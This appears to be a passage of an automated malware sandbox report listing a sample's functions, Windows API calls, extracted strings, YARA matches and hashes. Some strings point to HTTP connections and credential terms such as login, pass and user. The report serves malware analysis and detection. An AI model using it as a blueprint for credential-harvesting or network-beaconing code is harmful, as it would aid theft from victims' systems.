                                                                                                                                                        • String ID: Http$HttpSendRequestA$HttpSendRequestA$Requ$RequestA$Send$SendRequestA$estA
                                                                                                                                                        • API String ID: 0-2503632690
                                                                                                                                                        • Opcode ID: 59ee1c1fde48dd7e1995adb0c33b817c3f2d336c7a31c9a7f5aeb4c8a727f0e6
                                                                                                                                                        • Instruction ID: e66fa3d7a35a55108d5757242c4d3db437aaf23e80b6ecf2e132b1a731b31898
                                                                                                                                                        • Opcode Fuzzy Hash: 59ee1c1fde48dd7e1995adb0c33b817c3f2d336c7a31c9a7f5aeb4c8a727f0e6
                                                                                                                                                        • Instruction Fuzzy Hash: 9B014BB2909119AFCB00DF9CD841AAFBBBCEB58210F148189FD08A7204D670EE10CBE1
                                                                                                                                                        Function 013AC3B0 Relevance: 10.0, Strings: 8, Instructions: 40COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: File$File$Inte$InternetReadFile$Read$ReadFile$rnet$rnetReadFile
                                                                                                                                                        • API String ID: 0-3169538877
                                                                                                                                                        • Opcode ID: e827d5744429952d92f00aeb4ee0c9508320ca8a084f3a939a3bd2fe4213dc38
                                                                                                                                                        • Instruction ID: 11b0b171ad2b1b0ed8f5913b979392f7add517187e0bbba57137d7cf90631bba
                                                                                                                                                        • Opcode Fuzzy Hash: e827d5744429952d92f00aeb4ee0c9508320ca8a084f3a939a3bd2fe4213dc38
                                                                                                                                                        • Instruction Fuzzy Hash: 8E011DB2905119AFDB00DF98D945AAB7BB8EB44210F144199ED48AB205D270AE10CBE2
                                                                                                                                                        Function 0137B60F Relevance: 10.0, Strings: 8, Instructions: 34COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: $ $ $auth$logi$n $pass$user
                                                                                                                                                        • API String ID: 0-3936056649
                                                                                                                                                        • Opcode ID: 08ab7bb4cd554d2bd8c86c5abd513427074965e67fa232bdde4568a1935a8cbd
                                                                                                                                                        • Instruction ID: 6d68e73d175d579caa1f88186fcf799f38841053ee281ca8e3b527856425e260
                                                                                                                                                        • Opcode Fuzzy Hash: 08ab7bb4cd554d2bd8c86c5abd513427074965e67fa232bdde4568a1935a8cbd
                                                                                                                                                        • Instruction Fuzzy Hash: 54F0AFB1C1031EA6DF10DFAA99006EFFBB8EF16390F005159E810AB251D3B14754CBD9
                                                                                                                                                        Function 013A9A17 Relevance: 10.0, Strings: 8, Instructions: 34COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: $ $ $auth$logi$n $pass$user
                                                                                                                                                        • API String ID: 0-3936056649
                                                                                                                                                        • Opcode ID: 08ab7bb4cd554d2bd8c86c5abd513427074965e67fa232bdde4568a1935a8cbd
                                                                                                                                                        • Instruction ID: 83ecb3e8e13bef1c7f90b463e81201d6b3da59bf2e990d2604e493fb6f08e6ab
                                                                                                                                                        • Opcode Fuzzy Hash: 08ab7bb4cd554d2bd8c86c5abd513427074965e67fa232bdde4568a1935a8cbd
                                                                                                                                                        • Instruction Fuzzy Hash: 4CF0DC71C1030AA6DF10DFAA99006EFFBB8EF62390F005189E814AB252E3B14714CBD5
                                                                                                                                                        Function 0077003D Relevance: 9.2, APIs: 6, Instructions: 183memoryCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • VariantInit.OLEAUT32(00000035), ref: 00770049
                                                                                                                                                        • SysAllocString.OLEAUT32(00000000), ref: 007700F0
                                                                                                                                                        • VariantCopy.OLEAUT32(007702F4,00000000), ref: 00770119
                                                                                                                                                        • VariantClear.OLEAUT32(007702F4), ref: 0077013D
                                                                                                                                                        • VariantCopy.OLEAUT32(007702F4,00000000), ref: 00770141
                                                                                                                                                        • VariantClear.OLEAUT32(?), ref: 0077014B
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Variant$ClearCopy$AllocInitString
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 3859894641-0
                                                                                                                                                        • Opcode ID: 9690cfa59866473017ddeecd116da964728a04f8ee056f3b59b75726c32088b0
                                                                                                                                                        • Instruction ID: 6c9b2f770f9d1089937f559f9d167d9679b001ca2bc84cae0a2d1defca481824
                                                                                                                                                        • Opcode Fuzzy Hash: 9690cfa59866473017ddeecd116da964728a04f8ee056f3b59b75726c32088b0
                                                                                                                                                        • Instruction Fuzzy Hash: 2751E635640314EACF20AB64D899B2DB3A4AF46350F24D446E90ADF297DB789C40CBD6
                                                                                                                                                        Function 00786178 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 336comCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                          • Part of subcall function 0071557E: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00715558,?,?,00754B50,?,?,00000100,00000000,00000000,CMDLINE), ref: 0071559E
                                                                                                                                                        • _wcslen.LIBCMT ref: 007861D5
                                                                                                                                                        • CoInitialize.OLE32(00000000), ref: 007862EF
                                                                                                                                                        • CoCreateInstance.OLE32(007B0CC4,00000000,00000001,007B0B34,?), ref: 00786308
                                                                                                                                                        • CoUninitialize.OLE32 ref: 00786326
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: CreateFullInitializeInstanceNamePathUninitialize_wcslen
                                                                                                                                                        • String ID: .lnk
                                                                                                                                                        • API String ID: 3172280962-24824748
                                                                                                                                                        • Opcode ID: e567fa5c020916a3db72281f937c58cac62d20381897bc1c71d8825fd5ca203c
                                                                                                                                                        • Instruction ID: ecda9fe2da132103ae9d390ee5e0558969d5649efcb21943ca3723afc7646f17
                                                                                                                                                        • Opcode Fuzzy Hash: e567fa5c020916a3db72281f937c58cac62d20381897bc1c71d8825fd5ca203c
                                                                                                                                                        • Instruction Fuzzy Hash: D4D14475604211AFC714EF18C484A6ABBF1FF89714F14889DF88A9B361CB39ED45CB92
                                                                                                                                                        Function 00772104 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • WaitForSingleObject.KERNEL32(?,000000FF), ref: 0077210F
                                                                                                                                                        • UnloadUserProfile.USERENV(?,?), ref: 0077211B
                                                                                                                                                        • CloseHandle.KERNEL32(?), ref: 00772124
                                                                                                                                                        • CloseHandle.KERNEL32(?), ref: 0077212C
                                                                                                                                                        • GetProcessHeap.KERNEL32(00000000,?), ref: 00772135
                                                                                                                                                        • HeapFree.KERNEL32(00000000), ref: 0077213C
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 146765662-0
                                                                                                                                                        • Opcode ID: 2d17b6ab30aab49c7f694576de1978f40d74e62ace02c8dffab9b3e9c0061e1e
                                                                                                                                                        • Instruction ID: b49d5fb0c808b9ba05bb1d80aef029b37cd8512e4c5472a76a8f9232b64a9d92
                                                                                                                                                        • Opcode Fuzzy Hash: 2d17b6ab30aab49c7f694576de1978f40d74e62ace02c8dffab9b3e9c0061e1e
                                                                                                                                                        • Instruction Fuzzy Hash: E4E0E576104105FBDB111FE1ED0C94ABF39FF8A322B118220F22682870DB369C21DF5A
                                                                                                                                                        Function 013AC240 Relevance: 8.8, Strings: 7, Instructions: 48COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: Conn$ConnectA$Inte$InternetConnectA$ectA$rnet$rnetConnectA
                                                                                                                                                        • API String ID: 0-1024195942
                                                                                                                                                        • Opcode ID: 9d030a777e5cccec2ac6e3d13d24fbac149be2e6a7ed5dee5ea452bd7c4c0401
                                                                                                                                                        • Instruction ID: 5ee3ca3d270ca59f80d27644ab7fbdfd8299fa3bae4dcd5e8d3f650463ccbb1a
                                                                                                                                                        • Opcode Fuzzy Hash: 9d030a777e5cccec2ac6e3d13d24fbac149be2e6a7ed5dee5ea452bd7c4c0401
                                                                                                                                                        • Instruction Fuzzy Hash: 5E01E9B2915119AFCB14DFD9D941EEF7BB8EB48610F154289BE08A7240D630EE10CBE1
                                                                                                                                                        Function 013AC236 Relevance: 8.8, Strings: 7, Instructions: 46COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: Conn$ConnectA$Inte$InternetConnectA$ectA$rnet$rnetConnectA
                                                                                                                                                        • API String ID: 0-1024195942
                                                                                                                                                        • Opcode ID: 143c2e17c429a659300d9a26aac628a15a7923cd67a7f81c1f861ec6994351e0
                                                                                                                                                        • Instruction ID: 3e4cc06790a8fd8220e77c961f751b4b2e33234a6fa205c5c15365e7e10ffb29
                                                                                                                                                        • Opcode Fuzzy Hash: 143c2e17c429a659300d9a26aac628a15a7923cd67a7f81c1f861ec6994351e0
                                                                                                                                                        • Instruction Fuzzy Hash: 950144B2915159AFDB14CFD9C940EEF7BB9EF58310F15828DFA48A7240C6309E10CBA1
                                                                                                                                                        Function 013AC2B6 Relevance: 8.8, Strings: 7, Instructions: 45COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: Http$HttpOpenRequestA$Open$OpenRequestA$Requ$RequestA$estA
                                                                                                                                                        • API String ID: 0-4071423757
                                                                                                                                                        • Opcode ID: 3094c32c7ec35a7e551b4f7c78857ac3e8db72e13c7b79440fd3ad010ff247d1
                                                                                                                                                        • Instruction ID: c3b3db18b8ae72f105bc3c7d204ddd974238951ebe940595c63f7fdde0128098
                                                                                                                                                        • Opcode Fuzzy Hash: 3094c32c7ec35a7e551b4f7c78857ac3e8db72e13c7b79440fd3ad010ff247d1
                                                                                                                                                        • Instruction Fuzzy Hash: 6B015AB2905159AFCB04CF89D8409EF7BB9EF58264F159698F948A7200C334AD118BA0
                                                                                                                                                        Function 013AC3AF Relevance: 8.8, Strings: 7, Instructions: 35COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: File$Inte$InternetReadFile$Read$ReadFile$rnet$rnetReadFile
                                                                                                                                                        • API String ID: 0-4188302782
                                                                                                                                                        • Opcode ID: 1c6851ff1371add9499fb639a036ce8281afa235a8806eb95c9c44ed65977646
                                                                                                                                                        • Instruction ID: 98ee11fc7d6e76b60313e8e9a869a5fe0d2f90a65fe97805c1e1116131e67172
                                                                                                                                                        • Opcode Fuzzy Hash: 1c6851ff1371add9499fb639a036ce8281afa235a8806eb95c9c44ed65977646
                                                                                                                                                        • Instruction Fuzzy Hash: 96F06DB5805159AFDB00CF8DCA45ABF7BB8FB54250F148689E9586B201C2309A018BA1
                                                                                                                                                        Function 013A10F0 Relevance: 7.7, Strings: 6, Instructions: 171COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: F$P$T$f$r$x
                                                                                                                                                        • API String ID: 0-2523166886
                                                                                                                                                        • Opcode ID: 753ddc81a2a497713c04a51d9e8dfc52197648681cdd6c2dd0db661f3bf3f75c
                                                                                                                                                        • Instruction ID: 4fef4144815b215c35de49eee1987aeb05c48b2eebd080c59c0ec2118de6085b
                                                                                                                                                        • Opcode Fuzzy Hash: 753ddc81a2a497713c04a51d9e8dfc52197648681cdd6c2dd0db661f3bf3f75c
                                                                                                                                                        • Instruction Fuzzy Hash: 0151D471900305ABEB34DFACCD44BABB7FCEF54708F84865DE60856980E7B4A644CBA1
                                                                                                                                                        Function 0139E310 Relevance: 7.6, Strings: 6, Instructions: 114COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: P$e$i$m$o$r
                                                                                                                                                        • API String ID: 0-4274970381
                                                                                                                                                        • Opcode ID: 038405513ebb6dab1aa060c9a7ea9fec3c05e4a785044b2ffe283001915fd9c8
                                                                                                                                                        • Instruction ID: 89e09da2d51f920c274cad39a749d19f8d320a8ebd0ba3692dfbf441af97c8dd
                                                                                                                                                        • Opcode Fuzzy Hash: 038405513ebb6dab1aa060c9a7ea9fec3c05e4a785044b2ffe283001915fd9c8
                                                                                                                                                        • Instruction Fuzzy Hash: 7B3191719503186AEB20DBE8DC41FEE777CEB58704F804199F508AA180EFB16A848BA4
                                                                                                                                                        Function 013993CA Relevance: 7.6, Strings: 6, Instructions: 108COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: C$Em$a$b$d$i
                                                                                                                                                        • API String ID: 0-3253661915
                                                                                                                                                        • Opcode ID: b91d6175691e62d98583eee47e92c43fe0452448adbe0eabdcd151c2612bf4a7
                                                                                                                                                        • Instruction ID: 27b2d0225a16aa50298c36202a5b2a81df774f8012b9c1da5124448f2948bcc1
                                                                                                                                                        • Opcode Fuzzy Hash: b91d6175691e62d98583eee47e92c43fe0452448adbe0eabdcd151c2612bf4a7
                                                                                                                                                        • Instruction Fuzzy Hash: E831B1B1A00309ABEB10EFE4DC81FEF77B9EF54308F00851CE519A7241D774A9058BA9
                                                                                                                                                        Function 007841CE Relevance: 7.6, APIs: 5, Instructions: 101windowCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • GetInputState.USER32 ref: 00784225
                                                                                                                                                        • TranslateAcceleratorW.USER32(?,00000000,?), ref: 0078427C
                                                                                                                                                        • TranslateMessage.USER32(?), ref: 007842A5
                                                                                                                                                        • DispatchMessageW.USER32(?), ref: 007842AF
                                                                                                                                                        • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 007842C0
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Message$Translate$AcceleratorDispatchInputPeekState
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 2256411358-0
                                                                                                                                                        • Opcode ID: af141b2454f525e491a2dd2ac9c5ef6d11c20b26dfe10cbcf82d197983614617
                                                                                                                                                        • Instruction ID: af5a3d5fa64828b070dbc46d750995666b981d7137c7b80ed8395eac40b313d3
                                                                                                                                                        • Opcode Fuzzy Hash: af141b2454f525e491a2dd2ac9c5ef6d11c20b26dfe10cbcf82d197983614617
                                                                                                                                                        • Instruction Fuzzy Hash: 4631F330989387DEEB34EB649C48BB637ECFB09305F04446DE462D65A1E3EC9885CB25
                                                                                                                                                        Function 00772191 Relevance: 7.6, APIs: 5, Instructions: 93sleepwindowCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • GetWindowRect.USER32(?,?), ref: 007721A5
                                                                                                                                                        • PostMessageW.USER32(00000001,00000201,00000001), ref: 00772251
                                                                                                                                                        • Sleep.KERNEL32(00000000,?,?,?), ref: 00772259
                                                                                                                                                        • PostMessageW.USER32(00000001,00000202,00000000), ref: 0077226A
                                                                                                                                                        • Sleep.KERNEL32(00000000,?,?,?,?), ref: 00772272
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: MessagePostSleep$RectWindow
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 3382505437-0
                                                                                                                                                        • Opcode ID: 13da3c73dc3165d7bea6cba6048ee93907ed702b36102a7c22f9c202a06f786b
                                                                                                                                                        • Instruction ID: ecc4243dbdc62f0aa44492d45e44b6e02594293e578115d550a18e33abf3d7d8
                                                                                                                                                        • Opcode Fuzzy Hash: 13da3c73dc3165d7bea6cba6048ee93907ed702b36102a7c22f9c202a06f786b
                                                                                                                                                        • Instruction Fuzzy Hash: 7531BE71900219EFDB10CFA8CD88ADE3BB5FB55354F118225FA25A72D2C774ED418B90
                                                                                                                                                        Function 01366B28 Relevance: 7.6, Strings: 6, Instructions: 90COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: 10$2008$2012$2016$7$8
                                                                                                                                                        • API String ID: 0-783846285
                                                                                                                                                        • Opcode ID: 12649a56026a8f30fd2d2dcf5ae15302867b680295928031e96b8a2acb89489b
                                                                                                                                                        • Instruction ID: 858b59a9d7bc30f4cf81db8f8c4a48b4377050e8b2ebdca7b1a6754c0f501182
                                                                                                                                                        • Opcode Fuzzy Hash: 12649a56026a8f30fd2d2dcf5ae15302867b680295928031e96b8a2acb89489b
                                                                                                                                                        • Instruction Fuzzy Hash: 492191B1D01209AAEF10EB98DD02BEEB7BCBF15248F044055ED14A6246F3B65609C7E2
                                                                                                                                                        Function 007A6065 Relevance: 7.6, APIs: 5, Instructions: 82windowCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • SendMessageW.USER32(?,00001053,000000FF,?), ref: 007A60A4
                                                                                                                                                        • SendMessageW.USER32(?,00001074,?,00000001), ref: 007A60FC
                                                                                                                                                        • _wcslen.LIBCMT ref: 007A610E
                                                                                                                                                        • _wcslen.LIBCMT ref: 007A6119
                                                                                                                                                        • SendMessageW.USER32(?,00001002,00000000,?), ref: 007A6175
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: MessageSend$_wcslen
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 763830540-0
                                                                                                                                                        • Opcode ID: 0e93a68a6f9b3f0c54bdbe9af656e11efe6699e4165a83c815df23131a77a35d
                                                                                                                                                        • Instruction ID: 0fb5a9fded4d0a373a62f9eb3984e7089a06bab8020e7d0bef0d65ee94fecd27
                                                                                                                                                        • Opcode Fuzzy Hash: 0e93a68a6f9b3f0c54bdbe9af656e11efe6699e4165a83c815df23131a77a35d
                                                                                                                                                        • Instruction Fuzzy Hash: 1E218571900218ABDB209FA4CC88AEE7BB8FF86324F148316F925DA1C5D7789985CF50
                                                                                                                                                        Function 0137A148 Relevance: 7.6, Strings: 6, Instructions: 80COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: $: $: $Host$Host: $Unknown
                                                                                                                                                        • API String ID: 0-3527920956
                                                                                                                                                        • Opcode ID: 530f0ad2e16f39a63e58455da1101b925533f85dc8cd6a7680c986334a49b8bc
